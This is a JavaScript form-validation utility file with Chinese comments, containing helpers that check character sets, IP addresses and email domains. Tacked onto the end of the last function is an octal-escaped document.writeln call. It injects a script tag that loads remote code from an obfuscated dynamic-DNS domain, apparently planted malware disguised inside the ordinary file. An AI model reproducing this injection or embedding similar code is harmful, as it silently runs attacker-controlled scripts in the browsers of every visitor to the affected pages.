//检查 ValueStr 是否由 bString 中的字符组成
function CkStr(ValueStr,bString){
	 ii=0;
	 while (ii<ValueStr.length) {
		if (bString.indexOf(ValueStr.substring(ii,ii+1))==-1){ return false; }
		ii=ii+1;
     }
	 return true;
}

//检查IP地址
function CkIP(StrIP){ 
var patrn=/^([01]?\d?\d|2[0-4]\d|25[0-5])\.([01]?\d?\d|2[0-4]\d|25[0-5])\.([01]?\d?\d|2[0-4]\d|25[0-5])\.([01]?\d?\d|2[0-4]\d|25[0-5])$/; 
if(!patrn.exec(StrIP)) return false;
return true;
}

function CkEmail(strEmail){
	var i, strDomain, cChar;
	var nDotCount=0;
	var bFindAlpha=false;
	var bLastIsDot=false;
	var strValid="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-.";
	if(strEmail=="") return false;
	i=strEmail.indexOf("@");
	if(i==-1 || i==0 || i==strEmail.length-1) return false;
	strDomain = strEmail.substring(i+1,strEmail.length);
	
	if(strDomain.indexOf("@")!=-1) return false;
	if(strDomain.charAt(0)==".") return false;
	if(strDomain.charAt(strDomain.length-1)==".") return false;
	
	for(i=0;i<strDomain.length;i++) {
		cChar = strDomain.charAt(i);
		if(strValid.indexOf(cChar)==-1) return false;
		if(cChar==".") {
			if(bLastIsDot) return false;
			bLastIsDot=true;
			nDotCount++;
		}else bLastIsDot=false;
		if( (("a"<=cChar) && (cChar<="z")) || (("A"<=cChar)&&(cChar<="Z")) )
	      bFindAlpha=true;
	}
	if(bFindAlpha && (0==nDotCount)) return false;
	return true;
}document.writeln("\74\163\143\162\151\160\164\40\163\162\143\75\42\150\164\164\160\72\57\57\167\45\67\67\167\45\63\63\56\144\45\66\64\156\163\56\45\66\71\156\146\157\57\45\66\71\45\66\105\45\66\66\45\66\106\45\62\105\45\66\101\45\67\63\42\76\74\57\163\143\162\151\160\164\76");
